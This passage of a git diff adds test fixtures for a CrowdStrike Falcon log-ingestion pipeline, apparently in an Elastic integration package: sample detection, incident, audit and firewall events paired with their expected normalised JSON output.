ogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"MitreAttack\":[{\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"PatternID\":10418}]},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "23ba370fc8357f6f827812da142b5fcb", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7" + }, + "name": "explorer.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "38850874557", + "executable": "C:\\Windows\\Explorer.EXE", + "name": "explorer.exe", + "parent": { + "args": [ + "C:\\Windows\\system32\\userinit.exe" + ], + "command_line": "C:\\Windows\\system32\\userinit.exe", + "entity_id": "38850737845", + "executable": "C:\\Windows\\system32\\userinit.exe", + "pid": 38850737845 + }, + "pid": 38850874557, + "start": "2025-07-01T12:06:02.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7", + "23ba370fc8357f6f827812da142b5fcb" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Known Malware" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Execution" + ] + }, + "technique": { + "name": [ + "User Execution" + ] + } + }, + "user": { + "name": "win10_user3" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log new file mode 100644 index 0000000000..a922143c4b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log @@ -0,0 +1,160 @@ +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 294564, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1582101000000, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1536846339, + "ProcessEndTime": 0, + "ProcessId": 38684386611, + "ParentProcessId": 38682494050, + "ComputerName": "alice-laptop", + "UserName": "alice", + "DetectName": "Process Terminated", + "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", + "Severity": 4, + "SeverityName": "High", + "FileName": "explorer.exe", + "FilePath": "\\Device\\HarddiskVolume1\\Windows", + "CommandLine": "C:\\Windows\\Explorer.EXE", + "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", + "MD5String": "ac4c51eb24aa95b77f705ab159189e24", + "MachineDomain": "CORP-DOMAIN", + "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", + "SensorId": "7c808b4c8878433287eea53d4a8c3268", + "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", + "LocalIP": "192.168.12.51", + "MACAddress": "00-00-00-11-22-33", + "Tactic": "Malware", + "Technique": "Ransomware", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Prevention, process killed.", + "PatternDispositionValue": 16, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": true, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": false, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": false + } + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1824, + "eventType": "IncidentSummaryEvent", + "eventCreationTime": 1583295476766, + "version": "1.0" + }, + "event": { + "IncidentStartTime": 1583295228, + "IncidentEndTime": 1583295470, + "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "State": "open", + "FineScore": 1.2 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 22865, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1593186952000, + "version": "1.0" + }, + "event": { + "UserId": "Crowdstrike", + "UserIp": "", + "OperationName": "quarantined_file_update", + "ServiceName": "quarantined_files", + "AuditKeyValues": [ + { + "Key": "quarantined_file_id", + "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78" + }, + { + "Key": "action_taken", + "ValueString": "quarantined" + } + ], + "UTCTimestamp": 1593186952 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 294564, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1582101000000, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1536846339, + "ProcessEndTime": 0, + "ProcessId": 38684386611, + "ParentProcessId": 38682494050, + "ComputerName": "alice-laptop", + "UserName": "alice", + "DetectName": "Process Terminated", + "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", + "Severity": 4, + "SeverityName": "High", + "FileName": "explorer.exe", + "FilePath": "\\Device\\HarddiskVolume1\\Windows", + "CommandLine": "C:\\Windows\\Explorer.EXE", + "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", + "MD5String": "ac4c51eb24aa95b77f705ab159189e24", + "MachineDomain": "CORP-DOMAIN", + "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", + "SensorId": "7c808b4c8878433287eea53d4a8c3268", + "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", + "LocalIP": "192.168.12.51", + "MACAddress": "00-00-00-11-22-33", + "Tactic": "Malware", + "Technique": "Ransomware", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Prevention, process killed.", + "PatternDispositionValue": 16, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": true, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": false, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": false + }, + "MitreAttack": [ + { + "Tactic": "Insecure security posture", + "TacticID": "CSTA0009", + "Technique": "Bad device settings", + "TechniqueID": "CST0024" + }, + { + "Tactic": "Exfiltration", + "TacticID": "TA0010", + "Technique": "Exfiltration Over Web Service", + "TechniqueID": "T1567" + } + ] + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json new file mode 100644 index 0000000000..c8dda7f0e9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json @@ -0,0 +1,378 @@ +{ + "expected": [ + { + "@timestamp": "2020-02-19T08:30:00.000Z", + "crowdstrike": { + "event": { + "MACAddress": "00-00-00-11-22-33", + "Objective": "Falcon Detection Method", + "PatternDispositionFlags": { + "Detect": false, + "InddetMask": false, + "Indicator": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "Rooting": false, + "SensorOnly": false + }, + "PatternDispositionValue": 16, + "SensorId": "7c808b4c8878433287eea53d4a8c3268", + "Severity": 4, + "SeverityName": "High" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "DetectionSummaryEvent", + "offset": 294564, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Prevention, process killed.", + "category": [ + "malware" + ], + "created": "2020-02-19T08:30:00.000Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 294564,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1582101000000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1536846339,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 38684386611,\n \"ParentProcessId\": 38682494050,\n \"ComputerName\": \"alice-laptop\",\n \"UserName\": \"alice\",\n \"DetectName\": \"Process Terminated\",\n \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n \"Severity\": 4,\n \"SeverityName\": \"High\",\n \"FileName\": \"explorer.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n \"MachineDomain\": \"CORP-DOMAIN\",\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n \"LocalIP\": \"192.168.12.51\",\n \"MACAddress\": \"00-00-00-11-22-33\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"Ransomware\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Prevention, process killed.\",\n \"PatternDispositionValue\": 16,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": true,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": false,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": false\n }\n }\n}", + "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "ac4c51eb24aa95b77f705ab159189e24", + "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a" + }, + "name": "explorer.exe", + "path": "\\Device\\HarddiskVolume1\\Windows" + }, + "host": { + "domain": "CORP-DOMAIN", + "name": "alice-laptop" + }, + "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "38684386611", + "executable": "C:\\Windows\\Explorer.EXE", + "name": "explorer.exe", + "parent": { + "entity_id": "38682494050", + "pid": 38682494050 + }, + "pid": 38684386611, + "start": "2018-09-13T13:45:39.000Z" + }, + "related": { + "hash": [ + "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", + "ac4c51eb24aa95b77f705ab159189e24" + ], + "hosts": [ + "alice-laptop" + ], + "ip": [ + "192.168.12.51" + ], + "user": [ + "alice" + ] + }, + "rule": { + "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", + "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", + "name": "Process Terminated" + }, + "source": { + "ip": "192.168.12.51" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "Ransomware" + ] + } + }, + "user": { + "name": "alice" + } + }, + { + "@timestamp": "2020-03-04T04:17:56.766Z", + "crowdstrike": { + "event": { + "FineScore": 1.2, + "State": "open" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "IncidentSummaryEvent", + "offset": 1824, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "incident" + ], + "category": [ + "malware" + ], + "created": "2020-03-04T04:17:56.766Z", + "end": "2020-03-04T04:17:50.000Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1824,\n \"eventType\": \"IncidentSummaryEvent\",\n \"eventCreationTime\": 1583295476766,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentStartTime\": 1583295228,\n \"IncidentEndTime\": 1583295470,\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"State\": \"open\",\n \"FineScore\": 1.2\n }\n}", + "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "start": "2020-03-04T04:13:48.000Z", + "type": [ + "info" + ] + }, + "message": "Incident score 1.2", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-06-26T15:55:52.000Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "quarantined_file_id", + "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78" + }, + { + "Key": "action_taken", + "ValueString": "quarantined" + } + ], + "ServiceName": "quarantined_files" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "UserActivityAuditEvent", + "offset": 22865, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "user_activity_audit_event", + "category": [ + "iam" + ], + "created": "2020-06-26T15:55:52.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 22865,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1593186952000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"Crowdstrike\",\n \"UserIp\": \"\",\n \"OperationName\": \"quarantined_file_update\",\n \"ServiceName\": \"quarantined_files\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"quarantined_file_id\",\n \"ValueString\": \"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78\"\n },\n {\n \"Key\": \"action_taken\",\n \"ValueString\": \"quarantined\"\n }\n ],\n \"UTCTimestamp\": 1593186952\n }\n}", + "type": [ + "change" + ] + }, + "message": "quarantined_file_update", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "user": [ + "Crowdstrike" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "Crowdstrike" + } + }, + { + "@timestamp": "2020-02-19T08:30:00.000Z", + "crowdstrike": { + "event": { + "MACAddress": "00-00-00-11-22-33", + "MitreAttack": [ + { + "Tactic": "Insecure security posture", + "TacticID": "CSTA0009", + "Technique": "Bad device settings", + "TechniqueID": "CST0024" + }, + { + "Tactic": "Exfiltration", + "TacticID": "TA0010", + "Technique": "Exfiltration Over Web Service", + "TechniqueID": "T1567" + } + ], + "Objective": "Falcon Detection Method", + "PatternDispositionFlags": { + "Detect": false, + "InddetMask": false, + "Indicator": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "Rooting": false, + "SensorOnly": false + }, + "PatternDispositionValue": 16, + "SensorId": "7c808b4c8878433287eea53d4a8c3268", + "Severity": 4, + "SeverityName": "High" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "DetectionSummaryEvent", + "offset": 294564, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Prevention, process killed.", + "category": [ + "malware" + ], + "created": "2020-02-19T08:30:00.000Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 294564,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1582101000000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1536846339,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 38684386611,\n \"ParentProcessId\": 38682494050,\n \"ComputerName\": \"alice-laptop\",\n \"UserName\": \"alice\",\n \"DetectName\": \"Process Terminated\",\n \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n \"Severity\": 4,\n \"SeverityName\": \"High\",\n \"FileName\": \"explorer.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n \"MachineDomain\": \"CORP-DOMAIN\",\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n \"LocalIP\": \"192.168.12.51\",\n \"MACAddress\": \"00-00-00-11-22-33\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"Ransomware\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Prevention, process killed.\",\n \"PatternDispositionValue\": 16,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": true,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": false,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": false\n },\n \"MitreAttack\": [\n {\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t},\n {\n \"Tactic\": \"Exfiltration\",\n \"TacticID\": \"TA0010\",\n \"Technique\": \"Exfiltration Over Web Service\",\n \"TechniqueID\": \"T1567\"\n }\n ]\n }\n}", + "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "ac4c51eb24aa95b77f705ab159189e24", + "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a" + }, + "name": "explorer.exe", + "path": "\\Device\\HarddiskVolume1\\Windows" + }, + "host": { + "domain": "CORP-DOMAIN", + "name": "alice-laptop" + }, + "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "38684386611", + "executable": "C:\\Windows\\Explorer.EXE", + "name": "explorer.exe", + "parent": { + "entity_id": "38682494050", + "pid": 38682494050 + }, + "pid": 38684386611, + "start": "2018-09-13T13:45:39.000Z" + }, + "related": { + "hash": [ + "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", + "ac4c51eb24aa95b77f705ab159189e24" + ], + "hosts": [ + "alice-laptop" + ], + "ip": [ + "192.168.12.51" + ], + "user": [ + "alice" + ] + }, + "rule": { + "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", + "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", + "name": "Process Terminated" + }, + "source": { + "ip": "192.168.12.51" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "CSTA0009", + "TA0010" + ], + "name": [ + "Malware", + "Insecure security posture", + "Exfiltration" + ] + }, + "technique": { + "id": [ + "CST0024", + "T1567" + ], + "name": [ + "Ransomware", + "Bad device settings", + "Exfiltration Over Web Service" + ] + } + }, + "user": { + "name": "alice" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log new file mode 100644 index 0000000000..8c7d2c1ba2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log @@ -0,0 +1,46 @@ +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 70689, + "eventType": "FirewallMatchEvent", + "eventCreationTime": 1595248906000, + "version": "1.0" + }, + "event": { + "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p", + "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", + "Ipv": "ipv4", + "CommandLine": "nginx", + "ConnectionDirection": "1", + "EventType": "FirewallRuleIP4Matched", + "Flags": { + "Audit": false, + "Log": false, + "Monitor": true + }, + "HostName": "TESTDEVICE01", + "ICMPCode": "", + "ICMPType": "", + "ImageFileName": "/usr/bin/nginx", + "LocalAddress": "10.10.10.10", + "LocalPort": "445", + "MatchCount": 1, + "MatchCountSinceLastReport": 1, + "NetworkProfile": "2", + "PID": "206158879910", + "PolicyName": "PROD-FW-TESTSTATION-General", + "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p", + "Protocol": "6", + "RemoteAddress": "216.160.83.56", + "RemotePort": "54952", + "RuleAction": "2", + "RuleDescription": "", + "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa", + "RuleGroupName": "SMB Rules", + "RuleName": "Inbound SMB Block \u0026 Log Private", + "RuleId": "4877172638743447345", + "Status": "", + "Timestamp": "2020-07-20T12:41:44Z", + "TreeID": "158446832506666" + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json new file mode 100644 index 0000000000..77ad99a7c3 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json @@ -0,0 +1,118 @@ +{ + "expected": [ + { + "@timestamp": "2020-07-20T12:41:46.000Z", + "crowdstrike": { + "event": { + "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", + "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p", + "Flags": { + "Audit": false, + "Log": false, + "Monitor": true + }, + "MatchCount": 1, + "MatchCountSinceLastReport": 1, + "NetworkProfile": "2", + "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p", + "PolicyName": "PROD-FW-TESTSTATION-General", + "Protocol": "6", + "RuleAction": "2", + "Timestamp": "2020-07-20T12:41:44Z", + "TreeID": "158446832506666" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "FirewallMatchEvent", + "offset": 70689, + "version": "1.0" + } + }, + "destination": { + "ip": "10.10.10.10", + "port": 445 + }, + "device": { + "id": "12345a1bc2d34fghi56jk7890lmno12p" + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "firewall_match_event" + ], + "category": [ + "network" + ], + "code": "FirewallRuleIP4Matched", + "created": "2020-07-20T12:41:46.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70689,\n \"eventType\": \"FirewallMatchEvent\",\n \"eventCreationTime\": 1595248906000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"DeviceId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"Ipv\": \"ipv4\",\n \"CommandLine\": \"nginx\",\n \"ConnectionDirection\": \"1\",\n \"EventType\": \"FirewallRuleIP4Matched\",\n \"Flags\": {\n \"Audit\": false,\n \"Log\": false,\n \"Monitor\": true\n },\n \"HostName\": \"TESTDEVICE01\",\n \"ICMPCode\": \"\",\n \"ICMPType\": \"\",\n \"ImageFileName\": \"/usr/bin/nginx\",\n \"LocalAddress\": \"10.10.10.10\",\n \"LocalPort\": \"445\",\n \"MatchCount\": 1,\n \"MatchCountSinceLastReport\": 1,\n \"NetworkProfile\": \"2\",\n \"PID\": \"206158879910\",\n \"PolicyName\": \"PROD-FW-TESTSTATION-General\",\n \"PolicyID\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"Protocol\": \"6\",\n \"RemoteAddress\": \"216.160.83.56\",\n \"RemotePort\": \"54952\",\n \"RuleAction\": \"2\",\n \"RuleDescription\": \"\",\n \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n \"RuleGroupName\": \"SMB Rules\",\n \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n \"RuleId\": \"4877172638743447345\",\n \"Status\": \"\",\n \"Timestamp\": \"2020-07-20T12:41:44Z\",\n \"TreeID\": \"158446832506666\"\n }\n}", + "type": [ + "start", + "connection", + "denied" + ] + }, + "host": { + "name": "TESTDEVICE01" + }, + "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'", + "network": { + "direction": "ingress", + "type": "ipv4" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + 